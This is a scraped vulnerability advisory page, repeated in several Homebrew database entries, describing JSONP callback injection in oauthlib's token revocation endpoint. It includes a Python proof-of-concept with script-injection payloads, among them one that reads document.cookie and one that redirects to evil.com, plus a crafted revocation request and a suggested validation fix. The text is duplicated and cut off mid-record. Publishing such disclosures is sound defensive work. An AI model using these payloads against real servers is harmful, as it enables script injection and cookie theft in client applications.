from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "apprise",
"purl": "pkg:brew/apprise"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "1.7.0"
},
{
"introduced": "1.7.2"
},
{
"fixed": "2.0.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-apprise-CVE-2026-49264",
"modified": "2026-10-14T08:46:38Z",
"published": "2026-10-13T08:57:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-AZURE-CLI-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 21:04 – Updated: 2026-10-02 10:47 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@3.2.2",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "azure-cli",
"purl": "pkg:brew/azure-cli"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@3.2.2",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "3.2.2"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before 